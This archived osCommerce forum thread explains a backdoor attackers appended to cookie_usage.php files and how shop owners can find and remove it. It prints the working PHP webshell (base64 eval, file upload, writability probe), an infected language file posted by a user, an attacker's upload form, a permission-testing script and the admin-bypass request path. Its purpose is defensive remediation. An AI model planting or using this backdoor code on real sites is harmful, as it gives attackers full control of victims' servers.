Jump to content

Archived

This topic is now archived and is closed to further replies.

Taipo

malware cookie_usage.php explained

Recommended Posts

It seems to me that oscommerce exploiters have levelled a 2 tier attack. The first attack focussed on taking the opportunity to upload as many files as possible via the admin bypass exploit onto as many sites as possible taking advantage of them until inevitably the site code was patched and users patched their own individual websites.

 

The second level of attacks were then launched focussing on those sites that did not completely delete and reinstall their code, but rather took their chances cleaning out their files and folders. The cookie_usage.php file was but one of those files that had malicious code appended into it for this purpose.

 

If your site has been attacked in the past you will probably find that either your main cookie_usage.php file and/or /includes/languages/english/cookie_usage.php (or a number of other files in that folder that may have been affected) have had code written into them that resembles below.

 

You may also find that in the instance where the attacker was not able to overwrite cookie_usage.php due to your servers configuration, that they have created cookie_usage.php in the first writable folder they could find (usually image folder).

 

This code or similar is usually resident in the attacked file:

<?php 
if(isset($_GET['cookies'])) {
echo '--'.'><i>Goog1e_analist_certs</i><br>';
if(isset($_POST['e'])) {
	eval(base64_decode($_POST['e']));
}
if(isset($_FILES['f'])) {
	if(!@copy($_FILES['f']['tmp_name'],$_FILES['f']['name'])) {
		@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
	}
}
if(isset($_GET['d'])) {
	echo @is_writable($_GET['d']);
}
exit;
}
?>

 

This code has several functions, it primary purpose is to firstly test files within your site to see if they are writable, and then overwrite those files with malware content.

 

While many have patched their sites with changes to the admin folder, adding in security code, whitelisting, adding htaccess etc, many thousands more websites still have this code resident in one of the files on their site.

 

The infection could have taken place back before knowledge of the admin bypass exploit became public knowledge and may even be already in site backups, and would not initially interfere in any way with the functionality of the site as it is just a dormant code awaiting activation.

 

Attack matrix:

(assuming the target site already has this code resident in one of its files)

 

1/ Firstly a victim site is found via a google search and tested to see if it has been preinfected.

This address is called, www.yoursite.com/cookie_usage.php?cookies=1 (by adding ?cookies=1 to the filename)

If the malicious code is resident in the targetted file, the browser will display the following at the top of the cookie_usage.php page

 

-->Goog1e_analist_certs<!--

That then indicates to the attacker that the malicious code is onboard.

 

2/ Once this is establish, the attacker can now inject code into the cookie_usage.php page via posting data with a form variable name of 'e'. The code will be base64 encoded php code. For example:

ZWNobyAidGhpcyBpcyBhIHRlc3QiOw==

decodes to:

echo "this is a test";

So if posted in form as:

e=ZWNobyAidGhpcyBpcyBhIHRlc3QiOw==

 

It would be executed on the cookie_usage.php page which would display the message: this is a test

This means the attacker now has the ability to execute whatever code they wish on your server including reading other files like your configure.php files.

 

3/ The attacker then can begin testing to see if files on that server are writable by the following uri call.

www.yoursite.com/cookie_usage.php?cookies=1&d=somefilename.php

Where d is equal to the filename they are testing. If writable, the page will then display a 1.

 

4/ If writable, it is then possible for the attacker to read file content, write to the files, change their file permissions (in some circumstances) and delete file content.

 

5/ The last piece of this code allows a file to be posted into the directory. The file can be posted from a remote form into the same directory the exploited file above sits in.

 

Example remote form:

<?php
$site = './'; // the target oscommerce shop
$exploiter = 'cookie_usage.php?cookies=1';
echo '<form action="'. $site . $exploiter . '" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="f" size="50"><input name="submit" type="submit" id="submit" value="Upload"></form>';
?>

 

On servers where the username and the script both run as the owner, this type of exploit code has no limits to what it can achieve because if the file is readable, writable, deletable and can have its permissions changed by a php script, then this can do the same.

 

This type of exploit is now being used by spammers to post javascript code with ads embedded into the main include files and .js files.

 

There is no real way around this exploit, if the code is resident in one of your files then the only way to stop it is to rid the files of that code either by meticulously cleaning out your site code, or reloading a backup that has not been infected (how would you know this though), or using some addon to scan your files for the code (but will it pick up the variations as there are many), or deleting all files and upgrading to the more secure oscommerces 2.3.1.


- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Share this post


Link to post
Share on other sites

Taipo, thank you for the time you put into passing this information along. I am at the "educated" novice stage of learning these concept and what you explained here is exactly what I have been wondering about for a while. I have tried to follow every bit of "legitimate" advice I can regarding site security and to the best of my knowledge, my sites are secure because of this.

 

But installing the security measures is one thing, understanding what they are doing is another. This post you put here helped me fill in some blanks I had on that. I have some questions so that I better understand what's going on, and therefore can think and rethink site security strategy more effectively.

 

Firstly, I just went through my cookie_usage.php files because quite honestly, when I first started with osC, my first site was completely unprotected. I was oblivious. But fairly quickly, fortunately for me, I caught posts in the forums about security and began installing those, using Spooks security guidelines post from a year or so back.

 

My cookie_usage.php files look clean. Thankfully!!

 

Secondly, I have long wondered how the hackers find site to work on. You said they google for sites. What are they looking for? What key word/phrase would help them?

 

Then I have wondered about the methodology these hackers use to enter the site/server. You mentioned a "remote form" What's that concept?

 

I don't want my questions to turn into a "how to hack" tutorial, so an answer in general/theoretical terms would be good.

 

My next question is about javascript. I have downloaded some add ons, fckEditor and PHPIds that have script therein. I was always a bit leery about that, but put my trust in the fact that it seems someone on the forums here would have flagged out bad downloads a long time ago. But my question now is, how careful do we have to be about add ons we get from osC here.

 

Then in a nutshell, could you briefly explain what 2.3.1 has over 2.2 that is so beneficial. I don't doubt it is, and I have my third shop running on 2.3.1 but what is the difference as far as security? Obviously 2.3.1 hand holds you through pass word protecting your admin site, but otherwise?

 

Thanks again for what you are sharing.


I am not a professional webmaster or PHP coder by background or training but I will try to help as best I can.

I remember what it was like when I first started with osC. It can be overwhelming.

However, I strongly recommend considering hiring a professional for extensive site modifications, site cleaning, etc.

There are several good pros here on osCommerce. Look around, you'll figure out who they are.

Share this post


Link to post
Share on other sites

My cookie_usage.php files look clean. Thankfully!!

 

Thats a good thing, however when the backdoor was open via the admin bypass exploit, it may have been possible for an attacker to append that code into other files as well (as has been the case in many instances), the cookie_usage.php just seems to be the most affected with it is all.

 

Secondly, I have long wondered how the hackers find site to work on. You said they google for sites. What are they looking for? What key word/phrase would help them?

 

Well yes its one of the downsides to being visible on the net. On one hand you want your site to be found by potential customers, so it doesn't take much for an attacker to also find your site using keywords.

 

There are a myriad of possible keywords that can be inputted to pick up web listings, its probably better to just fix the security issues rather than try to avoid detection.

 

Then I have wondered about the methodology these hackers use to enter the site/server. You mentioned a "remote form" What's that concept?

 

Simply a form that is loaded into another server, the attacker then accesses it and fills in the details, in this case, its an upload file script.

 

My next question is about javascript. I have downloaded some add ons, fckEditor and PHPIds that have script therein. I was always a bit leery about that, but put my trust in the fact that it seems someone on the forums here would have flagged out bad downloads a long time ago. But my question now is, how careful do we have to be about add ons we get from osC here.

 

I would hope that the new methods employed in OSC 3.x when it is finally released, will put enough restrictions on contribs that will reduce their ability to introduce security issues, but there is no method yet that can do that completely.

 

Aside from a few earlier versions of fckEditor, most of the security issues though to date, and I know this goes against some of the advice that has been given here, has been from Oscommerce itself, hopefully we are seeing the end of the big security holes from 2.3.1 onward.

 

Then in a nutshell, could you briefly explain what 2.3.1 has over 2.2 that is so beneficial.

 

2.3.1 fixes the admin bypass exploit, which was the biggy. That exploitable hole almost got Oscommerce rated as the most hacked webscript last year.

 

2.3.1 still has a number of lesser security issues that take a bit more effort to exploit.

 

But the main security vulnerability is with the upgrade itself. If the user has not cleaned out the file repository of all of these added upload scripts, base64 code and the like, then 'upgrading' to any newer version will most likely not stop these attacks since the code often sits in files that are not a part of the oscommerce repertoire so therefore will not be overwritten with any upgrade.

 

Your average PHP user might be able to pick these up, but most users are plug and play types and will often miss at least one file, which is enough to reinfect the entire site again.

 

If you are going from 2.2 to 2.3 or higher and are not 100% sure you have nabbed all the nasties, then it would be better to start again from scratch rather than take the chance of introducing old exploit files into your updated webcart.


- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Share this post


Link to post
Share on other sites

my cookie usage is infected and comes up with the result exaclty how you have described?

 

any ideas where to start?? i have cleaned all files b4...

 

i have replaced the cookie usage right now.. ofcourse.. but will this help?

 

 

I am use CRE loaded which is built on OS commersce.. and everything spoken about on this forum is almost always exaclty the same..

 

any help guys please..

 

 

thanks heaps

Share this post


Link to post
Share on other sites

What else have you done to date to secure your site?


- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Share this post


Link to post
Share on other sites

allow only our IP to access admin.

 

add htacces to disallow includes or images to execute any .php file.

 

Disable shell script.

 

if no developement work is needed set 444 for all php and 555 for all directories(once site gets stable slowly go for image directory writable)

 

 

 

 

Satish

 

 


Ask/Skype for Free osCommerce value addon/SEO suggestion tips for your site.

 

Check My About US For who am I and what My company does.

Share this post


Link to post
Share on other sites

I think the point though of this discussion is about hunting down and removing offending code. If for example there is a file resident in the root directory that has the type of code mentioned in my first post, and if you can chmod a file to 444 via a file manager, then an attacker can also chmod the file permissions back to whatever they want exploiting this code above to do so.

 

I gave this example in another discussion as a proof of this concept for many shared host users where the user and script have owner privaleges:

 

<?php 

 // change the file name to whatever file you are testing 
 $testfile = "testchmod.php"; 

 error_reporting(0); 
 $i=0; 
 $content = NULL; 
 $writeperms = substr( decoct( fileperms( $testfile ) ),3 ); 

 if ($writeperms <= 665) { 
   if ( !chmod( $testfile, 0666 ) ) { 
     $i++; 
   } else { 
     $msg .= "able to chmod<br>"; 
   } 
 } else { 
   $msg .= $testfile . " is already chmod to " . $writeperms . "<br>"; 
 } 
  if (!$fp = fopen($testfile, 'r')) { 
   $i++; 
 } else { 
   $content = stream_get_contents($fp, -1, 0); 
   fclose($fp); 
   $msg .= "able to read content of " . $testfile . "<br>"; 
 } 
 if ( !$fp = @fopen( $testfile, "w" ) ) { 
   $i++; 
 } else { 
   $msg .= "able to open " . $testfile . "<br>"; 
 }  
 if ( fwrite( $fp, $content ) === FALSE ) { 
   $i++; 
 } else { 
   $msg .= "able to write to file " . $testfile . "<br>"; 
 }  
 if ( !fclose( $fp ) ) { 
   $i++; 
 } else { 
   $msg .= "able to close file " . $testfile . "<br>"; 
 }  
 if( $i > 0 ) {  
   echo $testfile . " is Write-Protected "; 
 } else { 
   echo $msg; 
 }  
?>

 

Under those conditions where PHP runs as the owner, a file with this code in it, could be used to test the permissions on any file on the site, although I recommend only using it on test files, and if PHP runs as the owner, this would be able to chmod any file from 444 to 666, open it, read it, write to it and close it, it could with a few more changes, chmod the file back to 444 as well.

 

The solution under those server configurations as is the same in any server configuration, is to first remove any code of this sort that allows an attacker to do such things.

 

Post #16 on this page http://forums.oscommerce.com/topic/372864-hacked-webshop/ goes into a bit more depth about the configuration I am referring to. Under this method, file and directory permissions will not save a user from having their files tampered with, if this type of code is still resident in their files from before the time they patched their sites admin bypass exploit.

 

The method described is only pertinent to a configuration becoming popular in shared web hosting, but then again, many Oscommerce users like other free script users, head for the shared web hosts as well because of the issue of cost.

 

The other point about changing file permissions to 444 and directories to 555 is that many of these shared hosts in this configuration also do not allow for such settings, and of course the advice then to the user would be to move to another server, problem there is that many of the shared hosting services are now employing this method.


- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Share this post


Link to post
Share on other sites

Mine had this inside of it ... and it was located includes/langauges/english/

 

eval(base64_decode($_POST["acca74ecec"]) ...


I hate eggs !!!

Share this post


Link to post
Share on other sites

here is the full code

 

 

full code

<?php
/*
 $Id: cookie_usage.php hpdl $

 osCommerce, Open Source E-Commerce Solutions
 http://www.oscommerce.com

 Released under the GNU General Public License
*/
if (isset($_GET["cookie"])) { echo 'cookie=4'; if (isset($_POST["acca74ecec"])) @eval(base64_decode($_POST["acca74ecec"])); exit; }

define('NAVBAR_TITLE', 'Cookie Usage');
define('HEADING_TITLE', 'Cookie Usage');

define('TEXT_INFORMATION', 'We have detected that your browser does not support cookies, or has set cookies to be disabled.<br><br>To continue shopping online, we encourage you to enable cookies on your browser.<br><br>For <b>Internet Explorer</b> browsers, please follow these instructions:<br><ol><li>Click on the Tools menubar, and select Internet Options</li><li>Select the Security tab, and reset the security level to Medium</li></ol>We have taken this measurement of security for your benefit, and apologize upfront if any inconveniences are caused.<br><br>Please contact the store owner if you have any questions relating to this requirement, or to continue purchasing products offline.');

define('BOX_INFORMATION_HEADING', 'Cookie Privacy and Security');
define('BOX_INFORMATION', 'Cookies must be enabled to purchase online on this store to embrace privacy and security related issues regarding your visit to this site.<br><br>By enabling cookie support on your browser, the communication between you and this site is strengthened to be certain it is you who are making transactions on your own behalf, and to prevent leakage of your privacy information.');
?>


I hate eggs !!!

Share this post


Link to post
Share on other sites

Typically this type of code is placed within the cookie_usage.php file in includes/languages/english directory by what could be described as a seeding server. A bot whose task is to search google for lists of sites using osCommerce and attempt to seed the cookie_usage.php language files with code that a second series of attack servers can exploit at a later date.

 

That attack would have exploited the admin bypass security hole that is in outdated versions of osCommerce.

 

By making a POST request against admin/define_language.php/login.php?filename=cookie_usage.php&action=save&language=english on unpatched websites, attackers can rewrite the contents of files such as cookie_usage.php to include additional attack code as you have found in yours.

 

If you have not done so already, at the very least it would be best you protect your admin directory behind http authentication, and/or you can install osC_Sec (see my signature for the link) and follow the instructions in the readme for additional code changes to patch the faulty code in your website.

 

Edited: having just checked through other posts, I see you have already added osC_Sec


- Stop Oscommerce hacks dead in their tracks with osC_Sec (see discussion here)
- Another discussion about infected files ::here::
- A discussion on file permissions ::here::
- Site hacked? Should you upgrade or not, some thoughts ::here::
- Fix the admin login bypass exploit here
- Pareto Security: New security addon I am developing, a remake of osC_Sec in PHP 5 with a number of fixes
- BTC:1LHiMXedmtyq4wcYLedk9i9gkk8A8Hk7qX

Share this post


Link to post
Share on other sites

×